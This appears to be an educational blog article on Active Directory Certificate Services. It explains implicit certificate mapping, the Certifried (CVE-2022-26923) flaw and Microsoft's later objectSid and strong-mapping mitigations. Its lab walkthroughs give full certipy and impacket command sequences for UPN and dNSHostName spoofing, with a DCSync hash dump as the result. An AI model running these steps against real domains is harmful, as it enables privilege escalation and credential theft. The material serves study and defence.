index-logo

AD - Certificate Services (Part 2)

Certificate mapping, Certifried and more

Introduction


In the previous article, we have introduced Active Directory Certificate Services (ADCS) and how it operates to implement PKI in Active Directory. We focused on how ADCS allows us to utilize PKINIT Authentication for Kerberos and how ADCS misconfigurations could lead to account persistence, Domain Escalation and Domain Persistence.


Nowadays, some of the techniques discussed in the previous article might not be possible to abuse nowadays. After the CVE-2022–26923 (Certifried) vulnerability, which we will discuss later, Microsoft implemented many security measures that makes ADCS exploitation harder.


Today, we will delve into how Certificate Mapping works, which security measurements were implemented after the Certifried vulnerability and more.


Kerberos PKINIT Authentication Process


Before starting with Certificate Mapping, let's recall the Kerberos PKINIT Authentication Process.


Certificate Request


Let's start with the certificate request, which involves creating a public/private key pair and then, send a CSR with the public key. The following image, representates the Certificate Request process.


To sum up, the client generates a private/public key pair, then creates a Certificate Signing Request (CSR), which specifies like settings that the issued certificate must contain, like the Template and EKUs, and inserts the generated public key inside it, then sends the CSR to the Certification Authority. When the CA receives the CSR, it starts a verification process to determine whether a certification must be issued or not.


Some of the most importants checks are the following: + Does the specified certificate template exist? + Are the settingsi n the CSR allowed by the tempalte? (for example, the specified EKU) + Is the client who send the CSR allowed to enroll for a certificate?


Among other checks.


Finally, if the verification is successful, the Certificate Authority (CA) issues a certificate based on the options specified in the Certificate Signing Request (CSR). It includes the Subject’s User Principal Name (UPN) in the Subject Alternative Name (SAN) field—since Kerberos uses the SAN to map the certificate to a user—and embeds the user's public key within the certificate. This public key will later be used to verify that the certificate is being used by the rightful user to whom it was issued. Then, the CA returns the newly issued certificate to the client, who stores it in the Windows Certificate Store upon receipt, enabling its use for future authentication (in this case).


Kerberos PKINIT Authentication


Upon obtaining the certificate, it can be used to perform Kerberos Authentication using PKINIT. Remember that this is due the specified template (the User template), has the Client Authentication EKU (other EKUs may also enable authentication, but many of them don't).


The following image representates a KRB_AS_REQ request through PKINIT:


The authentication process is fairly similar to the usual Kerberos Authentication flow, however, in this case, an extra certificate is included within the AS_REQ request, which will provide the necesary information to verify the timestamp.


Once the KDC receives the request, it takes the certificate and performs some checks against the certificate data. For example, it checks whether the specified username matches the Subject Alternative Name (SAN) attribute of the certificate. It also checks whether the certificate's EKU allows authentication, which in this case, it does, since its Client Authentication.


Then, the KDC also verifies whether the certificate was issued from a trusted CA, this means that the certificate signature will be checked against a trust chain which should end with the RootCA certificate signature, also, the issuer CA must be inside the NTAuthCertificates container, otherwise it won't be allowed for authentication.


The timestamp value serves as preauthentication data, which is encrypted using the private key previously generated by the client. Since the certificate includes the corresponding public key, the KDC can extract this public key from the certificate and attempt to decrypt the timestamp. If successful, it indicates that the client possesses the corresponding private key associated with the public key, thereby confirming that the authentication message is valid and originates from a trusted source—since only the client holds the matching private key.


Implicit vs Explicit Certificate Mapping


There are two primary methods by which a certificate can be mapped to a user account for authentication in Active Directory: Implicit and Explicit mapping.


Implicit mapping is the most common and straightforward method. In this mode, the Key Distribution Center (KDC) automatically derives the user account by examining the contents of the certificate—specifically, the User Principal Name (UPN) stored in the Subject Alternative Name (SAN) field. The KDC searches for a user in Active Directory whose userPrincipalName matches the UPN found in the certificate. If a match is found and all validation checks pass (such as certificate trust, revocation status, and validity period), a Ticket Granting Ticket (TGT) is issued for that user.


Explicit mapping, on the other hand, involves a more deliberate configuration. Here, the association between a certificate and a user account is explicitly defined—usually by populating the altSecurityIdentities attribute on the user object in Active Directory. This attribute can be configured with identifiers such as the certificate's subject and issuer, allowing the KDC to map the certificate even if the UPN is missing or does not match any user directly. Explicit mapping allows more granular control but introduces administrative overhead and, as we’ll explore in future articles, can be abused in certain attack scenarios such as ESC14, a technique that leverages this mapping mechanism for privilege escalation.


In this article, we'll focus exclusively on implicit mapping, particularly how it works in Kerberos authentication using certificates and why it's the default behavior in most Active Directory environments. We'll leave the deeper dive into explicit mapping, including its security implications and abuse cases, for a future article where we analyze ESC14 in detail.


Implicit mapping process


In the implicit mapping process, the Key Distribution Center (KDC) uses information embedded within the certificate—specifically the Subject Alternative Name (SAN) field—to map the certificate to a user account in Active Directory.


During the certificate validation stage of the Kerberos authentication process, the KDC extracts the User Principal Name (UPN) from the SAN extension of the certificate. This UPN is expected to match the userPrincipalName attribute of an account in the domain. If the KDC finds a user (or computer) account whose UPN matches exactly, and the certificate passes all cryptographic and trust validations, it will issue a Ticket Granting Ticket (TGT) for that account, successfully completing the initial Kerberos authentication.


If the certificate belongs to a computer account, the SAN typically contains the dNSHostName instead of a UPN. In this case, the KDC performs a lookup against the dNSHostName attribute in Active Directory. If a computer account with a matching DNS name is found and the certificate is valid, the process proceeds the same way—resulting in the issuance of a TGT for the computer account.


But what happens if there’s no account in Active Directory that matches the UPN (for users) or dNSHostName (for computers) exactly?


The KDC will attempt a fallback search strategy. It parses the UPN, which typically follows this format:


user@domain.local

The first portion of the UPN—user—is interpreted as a username, and in many environments, it often matches the value of the sAMAccountName attribute on the user object. The KDC will take this portion and perform a secondary search, this time looking for any object in Active Directory (user or computer) where sAMAccountName = "user".


Once again, if the KDC fails to find a matching user account using the sAMAccountName, it will attempt one more fallback: it appends a $ to the name, for example, user$, which is the typical format for computer accounts in Active Directory. This allows the KDC to check whether the certificate corresponds to a computer object, which also participates in Kerberos authentication.


It's important to note that the sAMAccountName attribute cannot be empty in Active Directory. Therefore, this lookup process won't inherently fail unless the specified account—whether user or computer—does not exist (e.g., it was deleted or never created).


So, to sum up: initially, the KDC extracts the UPN from the SAN field of the certificate and searches for an account in Active Directory with a matching userPrincipalName. If that search fails, the KDC splits the UPN into two parts and takes the username portion (the part before the @). It then performs a lookup using the sAMAccountName attribute to find an account with a matching value. If this also fails, the KDC appends a $ to the username—forming something like user$—and attempts to find a computer account with that sAMAccountName. Finally, if none of these lookups succeed, the KDC concludes that the client specified in the certificate does not exist in Active Directory, and the authentication request fails.


Implicit mapping also works when a DNS name is provided in the SAN (Subject Alternative Name) extension. In this case, the Domain Controller first checks whether any machine account has its dNSHostName attribute set to the value supplied in the certificate. (Note: user accounts do not have this attribute.)


If no match is found, the DC splits the DNS name into two parts: one for the computer name and one for the domain name. It then appends a $ to the computer name and tries to find an account whose sAMAccountName matches the result.


Example


Now, let's put these concepts into practice. For example, let's request a certificate for the administrator user using the User template:


elswix@ubuntu$ certipy req -u administrator -p Password123 -template User -target-ip 192.168.100.2 -ca 'elswixcorp-DC02-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 33
[*] Got certificate with UPN 'Administrator@elswixcorp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

After the certificate is issued, we can see that the Subject Alternative Name (SAN) extension of the certificate includes the UPN of the administrator user.


elswix@ubuntu$ openssl pkcs12 -in administrator.pfx -out administrator.pem -nodes
Enter Import Password:
elswix@ubuntu$ openssl x509 -in administrator.pem -text -noout | grep -i "Subject Alternative Name" -A 2
            X509v3 Subject Alternative Name: 
                othername: UPN::Administrator@elswixcorp.local

At this stage, the SAN has a valid UPN that corresponds to the administrator user.


However, if we examine the administrator user’s attributes in Active Directory, we find that the userPrincipalName (UPN) field is empty for this account.


PS C:\Users\Administrator.ELSWIXCORP.000\Documents> Get-AdUser Administrator


DistinguishedName : CN=Administrator,CN=Users,DC=elswixcorp,DC=local
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : 2dcf5c17-e0e2-4c1a-9f77-f9cf7bae1b3a
SamAccountName    : Administrator
SID               : S-1-5-21-4266111273-315482142-3017431568-500
Surname           :
UserPrincipalName :

Despite the fact that the UPN is empty in Active Directory, if you attempt to authenticate as administrator using this certificate, authentication succeeds without issue.


elswix@ubuntu$ certipy auth -pfx administrator.pfx -domain elswixcorp.local -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@elswixcorp.local': aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71

This happens because the Key Distribution Center (KDC) follows the implicit mapping process we described earlier.


  • When the KDC attempts to map the certificate to an Active Directory account, it first looks at the UPN in the SAN extension of the certificate.


  • Since the administrator user’s UPN is missing in Active Directory, the KDC cannot find an exact match for the UPN.


  • At this point, the KDC splits the UPN into two parts. It extracts the username portion from the UPN, which in this case is administrator.


  • The KDC then looks for an Active Directory account with a matching sAMAccountName of administrator.


  • It successfully finds the administrator account, since the sAMAccountName matches, and thus the authentication is successful.


GenericWrite on User


Given this behavior, there's an exploitation path that comes to mind. If you have GenericWrite, GenericAll, or any privilege that grants write access to the UPN attribute of a user account, you can exploit the implicit mapping process to escalate privileges. This is similar to what we’ll exploit in ESC10 later on.


Note: This scenario applies to an Active Directory environment that has not been patched for Certifried (CVE-2022–26923). As we’ll see later, that patch introduces new security measures that prevent many common techniques, including the one demonstrated here.


To demonstrate how we can abuse implicit mapping, I manually configured a scenario where the user elswix has GenericAll (or alternatively GenericWrite) privileges over the user claire.


First, let’s assume we have valid credentials for elswix.


Strategy


Since elswix has GenericAll rights over claire, we can modify her UPN attribute to an arbitrary value. This is powerful because if we set the UPN to something like administrator@elswixcorp.local, or even just administrator, then when requesting a certificate as claire, the UPN in the certificate will be administrator@elswixcorp.local or administrator.


After that, we reset Claire’s UPN back to its original value, or to any other non-malicious value. This is important because when the KDC performs implicit mapping, it will no longer associate the UPN in the certificate with our low-privileged user claire. Instead, it will associate it with the real Administrator account.


Keep in mind that the UPN must not already exist in the domain—otherwise, the update will fail. In this particular case, since the Administrator’s UPN attribute is empty by default, you can safely use administrator@elswixcorp.local. However, if you want to impersonate another user, you can set the UPN to just their name, but without using the usual email format—just the sAMAccountName of the target. This works because, as we observed in the implicit mapping process, the KDC will eventually take the UPN and resolve it by searching the sAMAccountName attribute.


Exploitation


First, let’s add shadow credentials to claire, since we’ll need valid credentials to request a certificate as her:


elswix@ubuntu$ certipy shadow auto -u elswix@elswixcorp.local -p Password2! -dc-ip 192.168.100.2 -account claire
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'claire'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'abe28f3b-0dfc-ff07-3860-c11b18a0d010'
[*] Adding Key Credential with device ID 'abe28f3b-0dfc-ff07-3860-c11b18a0d010' to the Key Credentials for 'claire'
[*] Successfully added Key Credential with device ID 'abe28f3b-0dfc-ff07-3860-c11b18a0d010' to the Key Credentials for 'claire'
[*] Authenticating as 'claire' with the certificate
[*] Using principal: claire@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'claire.ccache'
[*] Trying to retrieve NT hash for 'claire'
[*] Restoring the old Key Credentials for 'claire'
[*] Successfully restored the old Key Credentials for 'claire'
[*] NT hash for 'claire': 140e2a025b0a93dc13720d19e935a918

As shown, because I used the auto option in Certipy, it also retrieved claire’s NT hash. This allows us to use Pass-the-Hash to authenticate as her.


Now, let’s modify her UPN to match the Administrator’s sAMAccountName:


elswix@ubuntu$ certipy account update -u elswix -p Password2! -user claire -upn administrator -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'claire':
    userPrincipalName                   : administrator
[*] Successfully updated 'claire'

Perfect—it worked! Notice how we don’t need to use a proper UPN email format; you can simply set it to a name. As long as no other account uses that value, the update will succeed.


Next, let’s request a certificate using claire’s credentials and the default User template:


elswix@ubuntu$ certipy req -u claire -hashes :140e2a025b0a93dc13720d19e935a918 -template User -target-ip 192.168.100.2 -ca 'elswixcorp-DC02-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Success! As shown, Certipy indicates that the received certificate has administrator set as the UPN in the SAN. Before using it for authentication, we must reset claire’s UPN; otherwise, authentication will fail:


elswix@ubuntu$ certipy auth -pfx administrator.pfx -dc-ip 192.168.100.2 -domain elswixcorp.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@elswixcorp.local
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] Verify that the username 'administrator' matches the certificate UPN: administrator

This happens because—as we explained at the beginning of the article—when looking at how the KRB_AS_REQ message is built, the KDC checks whether the UPN in the certificate matches the account specified in the username field of the KRB_AS_REQ message. In this case, it doesn’t match: the UPN refers to claire (because she originally had the UPN set to administrator when the certificate was issued), while the username in the request refers to the real administrator account.


So, let’s reset claire’s UPN. I’ll just set it back to claire@elswixcorp.local:


elswix@ubuntu$ certipy account update -u elswix -p Password2! -user claire -upn claire@elswixcorp.local -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'claire':
    userPrincipalName                   : claire@elswixcorp.local
[*] Successfully updated 'claire'

Now, let’s perform the authentication again:


elswix@ubuntu$ certipy auth -pfx administrator.pfx -dc-ip 192.168.100.2 -domain elswixcorp.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@elswixcorp.local': aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71

And ka-boom—we’re authenticated as Administrator. Thanks to Certipy, in addition to receiving a TGT, we also obtain the associated NT hash, which can of course be used for further authentication.


elswix@ubuntu$ nxc smb 192.168.100.2 -u administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB         192.168.100.2   445    DC02             [*] Windows Server 2022 Build 20348 x64 (name:DC02) (domain:elswixcorp.local) (signing:True) (SMBv1:False) 
SMB         192.168.100.2   445    DC02             [+] elswixcorp.local\administrator:58a478135a93ac3bf058a5ea0e8fdb71 (Pwn3d!)

Certifried (CVE-2022–26923)


Certifried is a domain privilege escalation vulnerability that affected all ADCS instances prior to the patch for CVE-2022–26923. It abuses the implicit mapping mechanism used by the KDC, similarly to what we demonstrated earlier—but this time, it leverages computer accounts and the Machine certificate template (which domain-joined computers can enroll by default).


To exploit this vulnerability, the attacker only needs the ability to create a new computer account in the domain. By default, every domain user is allowed to add up to 10 machines to Active Directory. When a user creates a computer account, they are automatically granted several permissions over it, including:


  • Validated write to DNS host name (dNSHostName)
  • Validated write to service principal name (servicePrincipalName)

As we discussed earlier, when enrolling for a certificate using the Machine template, the value of the dNSHostName attribute is included in the SAN field of the certificate and is used by the KDC during authentication. This means that if an attacker changes the dNSHostName of their owned computer account to match that of a Domain Controller (e.g., dc.elswixcorp.local), requests a certificate using the Machine template and the computer’s credentials, and then resets the dNSHostName back to a non-conflicting value, the certificate will still be valid and when used for authentication will be implicitly mapped to the DC’s computer account.


Unlike UPNs, dNSHostName values are not required to be unique across domain accounts. This means that multiple computer accounts can technically share the same dNSHostName, and Active Directory will not enforce uniqueness at that level. However, modifying the dNSHostName causes the Domain Controller to automatically update the SPNs (specifically those that include the FQDN, e.g. CIFS/dc.domain.local) to reflect the new hostname. If the resulting SPNs already exist on another account—such as the real Domain Controller—this triggers a constraint violation.


Fortunately, because the user who creates a computer account is granted the Validated write to service principal name permission, you can simply clear the SPNs (or at least those that reflect the dNSHostName value) of your controlled machine account before modifying its dNSHostName. This bypasses the constraint violation, allowing you to successfully update the hostname without conflict.


Practice


Let's walk through the steps to exploit this vulnerability from the perspective of a non-privileged domain user. In this demonstration, we’ll use claire's credentials—who is just a regular domain user.


First, since this attack requires the ability to add a new computer account to the domain, we need to verify that the MachineAccountQuota attribute is greater than zero. By default, Active Directory allows any authenticated user to add up to 10 machines.


elswix@ubuntu$ nxc ldap 192.168.100.2 -u claire -p Password3! -M maq
LDAP        192.168.100.2   389    DC02             [*] Windows Server 2022 Build 20348 (name:DC02) (domain:elswixcorp.local)
LDAP        192.168.100.2   389    DC02             [+] elswixcorp.local\claire:Password3!
MAQ         192.168.100.2   389    DC02             [*] Getting the MachineAccountQuota
MAQ         192.168.100.2   389    DC02             MachineAccountQuota: 10

As shown, the MachineAccountQuota is set to 10, which is the default value—this means we’re good to go.


Next, let’s add a new computer to the domain. We can do this using the addcomputer.py script from the Impacket suite:


elswix@ubuntu$ addcomputer.py elswixcorp.local/claire:Password3! -dc-ip 192.168.100.2 -computer-name clairepc01 -computer-pass 'Start123!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Successfully added machine account clairepc01$ with password Start123!.

Perfect. The computer account clairepc01$ was successfully created in the domain.


Before requesting a certificate, we must modify the new computer’s dNSHostName to match that of the Domain Controller.


By default, the dNSHostName of a computer account is structured as:


(ComputerName).domain.local

So, for a Domain Controller named dc02, its dNSHostName will typically be dc02.elswixcorp.local.


Note: The $ symbol used in the sAMAccountName is not included in the dNSHostName.


However, as we’ve discussed earlier, you can assign any arbitrary dNSHostName to a computer account—provided that SPNs don’t conflict. To confirm the exact value used by the DC, we can use Certipy (or LDAP tools) to query it:


elswix@ubuntu$ certipy account read -u claire -p Password3! -user dc02$ -dc-ip 192.168.100.2 | grep dNSHostName
Certipy v4.8.2 - by Oliver Lyak (ly4k)

    dNSHostName                         : DC02.elswixcorp.local

As expected, the dNSHostName of the DC is dc02.elswixcorp.local, but it’s always good to verify.


Now, let’s update the dNSHostName of our new machine (clairepc01$) to impersonate the Domain Controller:


elswix@ubuntu$ certipy account update -u claire -p Password3! -user clairepc01$ -dns dc02.elswixcorp.local -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'clairepc01$':
    dNSHostName                         : dc02.elswixcorp.local
[*] Successfully updated 'clairepc01$'

Success! The dNSHostName of clairepc01$ was updated to match that of the DC. This worked because Active Directory allows multiple accounts to share the same dNSHostName, unlike UPNs.


If we had received a CONSTRAINT_ATT_TYPE error, it would have indicated that the domain controller is patched and is blocking us from setting an arbitrary dnsHostName using our limited write permissions.


At this point, we’re ready to request a certificate using our new computer account. Since it’s a machine account, we’ll enroll using the Machine template, which is typically allowed for computer objects:


elswix@ubuntu$ certipy req -u clairepc01$ -p Start123! -target-ip 192.168.100.2 -template Machine -ca 'elswixcorp-DC02-CA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 50
[*] Got certificate with DNS Host Name 'dc02.elswixcorp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'dc02.pfx'

Excellent. We’ve successfully enrolled a certificate for our fake computer account, and Certipy confirms that the SAN includes dc02.elswixcorp.local—which is the identity we want to impersonate.


As in the user-based attack, before using the certificate, we need to reset the dNSHostName back to avoid mismatches during authentication:


elswix@ubuntu$ certipy account update -u claire -p Password3! -user clairepc01$ -dns clairepc01.elswixcorp.local -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Updating user 'clairepc01$':
    dNSHostName                         : clairepc01.elswixcorp.local
[*] Successfully updated 'clairepc01$'

Now we’re ready to authenticate using the certificate. Let’s proceed and attempt authentication as the Domain Controller (dc02$) using the certificate we just obtained:


elswix@ubuntu$ certipy auth -pfx dc02.pfx -domain elswixcorp.local -dc-ip 192.168.100.2
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: dc02$@elswixcorp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc02.ccache'
[*] Trying to retrieve NT hash for 'dc02$'
[*] Got hash for 'dc02$@elswixcorp.local': aad3b435b51404eeaad3b435b51404ee:01786f14a9162774852587e9d4104302

Pwned! The KDC validated the certificate by matching the dNSHostName in the SAN with the real dc02$ machine account. We authenticated successfully, and as a bonus, Certipy retrieved the machine’s NT hash.


With this, we now have the ability to DCSync the domain:


elswix@ubuntu$ secretsdump.py 'elswixcorp.local/dc02$@dc02.elswixcorp.local' -hashes :01786f14a9162774852587e9d4104302
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ffb94f094a63f5d138500ecf5d4d0b51:::
...[snip]...
[*] Cleaning up...

Certifried Patch (May 2022 Security Update)


This vulnerability was patched as part of the May 2022 security updates, which introduced new security mechanisms to ADCS. A new extension, szOID_NTDS_CA_SECURITY_EXT, was implemented to prevent these types of attacks from being exploited via UPN or dNSHostName manipulation. This extension includes a new attribute called objectSid, which is embedded in every certificate issued by patched systems, but only in templates that do not have the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag set.


This means that ESC1 could still be viable. However, as we will see later, this is not the case, at least not with the default domain controller configuration.


The objectSid attribute contains the SID of the account that requested the certificate. Since the objectSid is unique and cannot be modified, it directly links the certificate to the user who requested it, effectively rendering the vulnerability unexploitable.


When the KDC receives the KRB_AS_REQ message, it extracts the objectSid attribute and searches for that SID in Active Directory. If a matching account is found, the KDC verifies whether it corresponds to the UPN specified in the SAN. This means that if the UPN in the SAN belongs to a different account than the one associated with the objectSid value, authentication will fail.


Patch Demonstration


I fully updated the DC01 domain controller, which hosts the domain’s RootCA. From this point on, we will be interacting with elswixcorp-DC01-CA, which is now patched.


This patch completely breaks traditional certificate exploitation scenarios—ESC6, for example. As mentioned earlier, every certificate that is not issued using a template with the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag includes the objectSid extension.


In the case of ESC6, you're allowed to specify your own SAN in certificate requests, even if the template does not have the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled. However, despite being able to specify an arbitrary SAN, the final certificate will still include the objectSid extension, which prevents privilege escalation.


For example, let’s use certipy to test whether the updated CA is vulnerable to ESC6:


elswix@ubuntu$ certipy find -vulnerable -u elswix -p Password2! -target-ip 192.168.100.3  -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 2 certificate authorities
[*] Found 25 enabled certificate templates
[*] Trying to get CA configuration for 'elswixcorp-DC01-CA' via CSRA
...[snip]...
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : elswixcorp-DC01-CA
    DNS Name                            : DC01.elswixcorp.local
    Certificate Subject                 : CN=elswixcorp-DC01-CA, DC=elswixcorp, DC=local
    Certificate Serial Number           : 1A66B5E7D16772A94482CC2F0BB1D1C9
    Certificate Validity Start          : 2025-03-02 13:39:10+00:00
    Certificate Validity End            : 2030-03-02 13:49:09+00:00
    Web Enrollment                      : Enabled
    User Specified SAN                  : Enabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
...[snip]...
        Enroll                          : ELSWIXCORP.LOCAL\Authenticated Users
    [!] Vulnerabilities
      ESC6                              : Enrollees can specify SAN and Request Disposition is set to Issue. Does not work after May 2022
...[snip]...

As shown, the CA appears exploitable via ESC6. However, as certipy highlights, the attack does not work on systems patched with the May 2022 update.


Nevertheless, let’s try requesting a certificate using the User template, providing our own UPN:


elswix@ubuntu$ certipy req -u elswix -p Password2! -template User -ca 'elswixcorp-DC01-CA' -target-ip 192.168.100.3 -upn administrator@elswixcorp.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 82
[*] Got certificate with UPN 'administrator@elswixcorp.local'
[*] Certificate object SID is 'S-1-5-21-4266111273-315482142-3017431568-1103'
[*] Saved certificate and private key to 'administrator.pfx'

As expected, the request succeeded and we obtained a certificate with the UPN administrator@elswixcorp.local. However, certipy also reveals that the certificate’s objectSid is S-1-5-21-4266111273-315482142-3017431568-1103. This confirms that the objectSid extension is present, and that the SID corresponds to the elswix account, even though the SAN UPN is administrator@elswixcorp.local.


Let’s now attempt to authenticate to the KDC using this certificate:


elswix@ubuntu$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@elswixcorp.local
[*] Trying to get TGT...
[-] Object SID mismatch between certificate and user 'administrator'
[-] Verify that user 'administrator' has object SID 'S-1-5-21-4266111273-315482142-3017431568-1103'

And as expected, it failed. This is because the KDC retrieves the objectSid value from the certificate, locates the corresponding account, and then checks whether that account matches the one specified in the SAN UPN.


ESC1 not working


As I mentioned earlier, ESC1 should still work because the objectSid extension is not included in certificates issued from templates with the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled.


Let’s verify whether this is accurate. First, we’ll search for vulnerable templates using certipy:


elswix@ubuntu$ certipy find -vulnerable -u elswix -p Password2! -target-ip 192.168.100.3 -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 2 certificate authorities
[*] Found 25 enabled certificate templates
...[snip]...
Certificate Templates
  0
    Template Name                       : ESC1
    Display Name                        : ESC1
    Certificate Authorities             : elswixcorp-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : ELSWIXCORP.LOCAL\Domain Admins
                                          ELSWIXCORP.LOCAL\Domain Users
                                          ELSWIXCORP.LOCAL\Enterprise Admins
...[snip]...
                                          ELSWIXCORP.LOCAL\Administrator
    [!] Vulnerabilities
      ESC1                              : 'ELSWIXCORP.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

As shown, the ESC1 template is flagged as vulnerable to ESC1 by certipy.


Next, let’s request a certificate using an arbitrary UPN:


elswix@ubuntu$ certipy req -u elswix -p Password2! -template ESC1 -ca 'elswixcorp-DC01-CA' -target-ip 192.168.100.3 -upn administrator@elswixcorp.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 77
[*] Got certificate with UPN 'administrator@elswixcorp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

As seen in the output, this time the certificate does not include an objectSid, as expected—since the ESC1 template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled.


Now, let’s attempt to authenticate using this certificate:


elswix@ubuntu$ certipy auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@elswixcorp.local
[*] Trying to get TGT...
[-] Object SID mismatch between certificate and user 'administrator'

As observed, the authentication failed. But why, if the certificate doesn’t have the objectSid extension?


Well, that’s actually the reason. Starting in February 2025, a security setting called strong mapping was introduced. This setting blocks the use of certificates without an objectSid extension for authentication. Prior to this update, ESC1 was still a viable attack path.


So, what exactly is this "new" security setting? Let me explain.


In reality, this security setting is not new. What changed with the February 2025 update is that strong mapping is now enforced by default, whereas previously it had to be explicitly configured.


StrongCertificateBindingEnforcement and CertificateMappingMethods


Because the objectSid extension could completely break authentication with previously issued certificates, Microsoft introduced two registry keys to ensure backward compatibility:


  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods — used for SChannel-based authentication.
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement — controls behavior for Kerberos authentication.

The CertificateMappingMethods key operates as a bitmask, where each bit enables a different certificate mapping method for SChannel. For instance, setting it to 0x4 enables UPN-based mapping, while 0x1F activates all available mapping methods. The default value is currently 0x18 (S4U2Self & S4U2Self Explicit). If UPN mapping is enabled (note: it's not enabled by default), it can override the behavior of the szOID_NTDS_CA_SECURITY_EXT extension—meaning that if UPN mapping succeeds, the presence of the extension is ignored.



The second key, StrongCertificateBindingEnforcement, specifies how strictly the domain controller enforces validation of the new objectSid extension during certificate-based Kerberos authentication. It supports three values:


  • 0 (Disabled): The extension is ignored entirely. The DC relies solely on SAN fields like UPN and DNS for mapping, even if the objectSid extension is present. This effectively reverts to pre-patch behavior. As of now, this setting is deprecated and no longer supported.


  • 1 (Compatibility mode) PREVIOUS DEFAULT: If the objectSid extension is present, the DC will attempt to validate it. If it’s missing, it falls back to SAN-based mapping. This provides compatibility while encouraging adoption of stronger validation.


  • 2 (Strict Enforcement) CURRENT DEFAULT: Only certificates with a valid objectSid extension can be used for authentication. Mapping based solely on SAN fields is not permitted, this means that certificates without this extension cannot be used for authentication. This is why our example of ESC1 did not work.


When StrongCertificateBindingEnforcement is set to 1 or 2 and the extension is validated, Microsoft refers to this as "strong certificate mapping." If the registry keys are relaxed or set to legacy-compatible values, the system reverts to "weak mapping", which mimics the behavior before the Certifried patch.


ESC9 - No Security Extension


